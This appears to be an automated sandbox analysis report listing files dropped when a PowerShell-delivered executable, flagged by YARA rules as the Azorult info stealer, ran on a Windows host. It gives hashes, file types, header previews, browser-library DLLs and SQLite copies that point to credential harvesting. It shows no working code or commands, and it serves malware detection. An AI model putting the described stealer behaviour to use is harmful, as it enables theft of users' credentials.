Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."yQ.f.?Mf.?Mf.?Mo`.Mv.?M.z>Lb.?M...Md.?M.z<Lh.?M.z;Lm.?M.z:Lu.?MDx>Lo.?Mf.>M..?M.{1Lu.?M.{?Lg.?M.{.Mg.?M.{=Lg.?MRichf.?M................PE..L......Z.........."!.........................................................@............@.............................\...L...,.... ..p....................0......p...T...............................@...................T...@....................text............................... ..`.rdata...b.......d..................@..@.data...............................@....rsrc...p.... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1244112
Entropy (8bit):	6.809431682312062
Encrypted:	false
SSDEEP:	24576:XDI7I4/FeoJQuQ3IhXtHfjyqgJ0BnPQAib7/12bg2JSna5xfg0867U4MSpu731hn:uQ3YX5jyqgynPkbd24VwMSpu7Fhn
MD5:	556EA09421A0F74D31C4C0A89A70DC23
SHA1:	F739BA9B548EE64B13EB434A3130406D23F836E3
SHA-256:	F0E6210D4A0D48C7908D8D1C270449C91EB4523E312A61256833BFEAF699ABFB
SHA-512:	2481FC80DFFA8922569552C3C3EBAEF8D0341B80427447A14B291EC39EA62AB9C05A75E85EEF5EA7F857488CAB1463C18586F9B076E2958C5A314E459045EDE2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........x..c+..c+..c+...+..c++.b..c+lh.+..c++.`..c++.f..c++.g..c+.b..c+9.b..c+..b+..c+9.k..c+9.gC.c+9.c..c+9..+..c+9.a..c+Rich..c+................PE..L...a..Z.........."!................T........................................@............@.............................d....<..T.......h.......................t~..0...T...............................@............................................text............................... ..`.rdata...P.......R..................@..@.data....E...`... ...:..............@....rsrc...h............Z..............@..@.reloc..t~...........^..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\nssdbm3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	92624
Entropy (8bit):	6.639368309935547
Encrypted:	false
SSDEEP:	1536:5vNGVOt0VjOJkbH8femxfRVMNKBDuOQWL1421GlkxERC+ANcFZoZ/6tNRCwI41ZH:hNGVOiBZbcGmxXMcBqmzoCUZoZebHZMw
MD5:	569A7A65658A46F9412BDFA04F86E2B2
SHA1:	44CC0038E891AE73C43B61A71A46C97F98B1030D
SHA-256:	541A293C450E609810279F121A5E9DFA4E924D52E8B0C6C543512B5026EFE7EC
SHA-512:	C027B9D06C627026774195D3EAB72BD245EBBF5521CB769A4205E989B07CB4687993A47061FF6343E6EC1C059C3EC19664B52ED3A1100E6A78CFFB1C46472AFB
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z.Y.4.Y.4.Y.4.P...U.4...5.[.4..y.Q.4...7.X.4...1.S.4...0.R.4.{.5.[.4...5.Z.4.Y.5...4...0.A.4...4.X.4....X.4...6.X.4.RichY.4.........................PE..L......Z.........."!.........0...............0............................................@..........................?.......@.......`..p............L.......p.......:..T...........................(;..@............0..X............................text............................... ..`.rdata..4....0... ..................@..@.data........P.......>..............@....rsrc...p....`.......@..............@..@.reloc.......p.......D..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\softokn3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144336
Entropy (8bit):	6.5527585854849395
Encrypted:	false
SSDEEP:	3072:zAf6suip+z7FEk/oJz69sFaXeu9CoT2nIZvetBWqIBoE9Mv:Q6PpsF4CoT2EeY2eMv
MD5:	67827DB2380B5848166A411BAE9F0632
SHA1:	F68F1096C5A3F7B90824AA0F7B9DA372228363FF
SHA-256:	9A7F11C212D61856DFC494DE111911B7A6D9D5E9795B0B70BBBC998896F068AE
SHA-512:	910E15FD39B48CD13427526FDB702135A7164E1748A7EACCD6716BCB64B978FE333AC26FA8EBA73ED33BD32F2330D5C343FCD3F0FE2FFD7DF54DB89052DB7148
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L......Z.........."!.........`...............................................P......+Z....@..........................................0..p....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...C.......D..................@..@.data........ ......................@....rsrc...p....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\ucrtbase.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\182F14A9\vcruntime140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\61641406437253145424454.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6164203163971016881528.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6164203163971016881528.tmp-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\61642342743687520604596.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6164250885724921039929.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\61642812802640557387366.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5666905074415884
Encrypted:	false
SSDEEP:	96:wmQ5NouejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:wWtH+bF+UI3iN0RSV0k3qLyj9
MD5:	028AEA8CE81AA557780B5E7669049BC0
SHA1:	8C01DE5BB09EE58ED97A4EFE4182E2AD4110118B
SHA-256:	F2A427F74D8603071B892559F240E37BDC12F9B988EA7C5C25BD3D653EAC1458
SHA-512:	833D70A1B45964BA4070877DE5A25574F3CEA412074FD0CF0EB79A4A5F9FEAED77221009674C2D1084944264B7750F52AD87642F6889838872101B511104714B
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSId9e6e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5136057226030957
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K82hlQ6Qwle:Qw946cPbiOxDlbYnuRKXhlhQww
MD5:	E048F691578D9071E3EAE785682BDC30
SHA1:	39D49AD1AFA1D0C0E6BC020F4CAA75F91E1A065C
SHA-256:	C14D3F2417F9B9DA0E5EB49185D97458A95A2E9DC358C3C8C6BDF1055653AA2A
SHA-512:	1ECECBA0510BB30A8BF20A69DAEE5E9ED393228D6A46F84C25B08C862479EB596858EF63CE7E1F5F566E53B1162AC7AB7A782FAC68157A3E4D32899E79375BD1
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .0.3./.1.0./.2.0.2.4. . .2.2.:.2.7.:.3.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	6.303653723841785
Encrypted:	false
SSDEEP:	3072:KExRaQ6raoCoCyz6/mqv1JR+yBtGOeaeWgivq:faO1tme++wiS
MD5:	27864DD446F03F806B26031D97E3377B
SHA1:	18688DE552635BFBE9B3AFAE166B1D86D41ECCC4
SHA-256:	94D346E862D5850B5D19AEFD5053191C47975B2D233958F5145F0390D42C1FBD
SHA-512:	014A27AB976725E15638488AEA3A293AADCCB6B9FB34CC54AE1ED3510A662A6562BF3F4B4E7C8CB90A7BED5FBD63FA13353E52E8270105A7EF4764B83FB867E6
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: unknown Rule: Azorult_1, Description: Azorult Payload, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: kevoreilly Rule: Azorult, Description: detect Azorult in memory, Source: C:\Users\user\AppData\Local\Temp\Order-63729_Reference.exe, Author: JPCERT/CC Incident Response Group
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................$....................@..............................................@..............................................................\...................................................................................CODE................................ ..`DATA....l...........................@...BSS......................................idata..............................@....reloc..\...........................@..P............................................................................@..P........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_msfeehff.bxv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xlufn4b3.1sm.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-10-03 22-27-30-867.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	16603
Entropy (8bit):	5.342415700361097
Encrypted:	false
SSDEEP:	384:V0QRgg9sbRaWkLxuYKUfJfcJRmx8p5NH25YiB1/XPJuAmy07ZgaZxsxsJ4qYVSSL:I/PW
MD5:	15A1410C1B3DE9D09F485D95DB2E26BC
SHA1:	1FAEAE0B2B017634392E4CCF3C7C8FEA91B2896B
SHA-256:	63019C6AE08D0FF80F1ACF55CD550318ABD9B768C732C1A3D698ABB44B5192DB
SHA-512:	1ED9CBAC4F08F80D6AA4713A7B46FF086F07808EB4155BE9D6896DAA2A770C1F0D001FE5D11DA25E6DFB175BDB9614C2DC017BA590926C9BAB3FE62BEDBCCFD8
Malicious:	false
Preview:	SessionID=47f3eb02-f4fd-43cb-89cd-6e60a46757f7.1728008850880 Timestamp=2024-10-03T22:27:30:880-0400 ThreadID=4876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=47f3eb02-f4fd-43cb-89cd-6e60a46757f7.1728008850880 Timestamp=2024-10-03T22:27:30:887-0400 ThreadID=4876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=47f3eb02-f4fd-43cb-89cd-6e60a46757f7.1728008850880 Timestamp=2024-10-03T22:27:30:887-0400 ThreadID=4876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=47f3eb02-f4fd-43cb-89cd-6e60a46757f7.1728008850880 Timestamp=2024-10-03T22:27:30:887-0400 ThreadID=4876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=47f3eb02-f4fd-43cb-89cd-6e60a46757f7.1728008850880 Timestamp=2024-10-03T22:27:30:887-0400 ThreadID=4876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393921973281064
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb3V8cbYZIT4P8cbye:V3fOCIdJDeFVymT4PAe
MD5:	8D8395F21AEEE7D7C012D25B51D4E969
SHA1:	F0316ADC4FCDBE26E2115E4724E1D91DFB5B52A2
SHA-256:	73DC2BB9FA8B5A92EAE1E0FFEFF553F1118F7F5EA42855190CAB884ECB2E15FD
SHA-512:	4FFD80F28CB2CDE129259E6447BFCD7D7F2710A46399604B881CD6CA19F5F9D60C8EBAB5CE9E74D88BEE150BA66BA9CCBCC7EC98C0A2DE697B021781AED63289
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\21f78b08-a077-4fd5-9149-c4d53f369197.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7371e294-4853-4087-a314-22f103e2c971.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
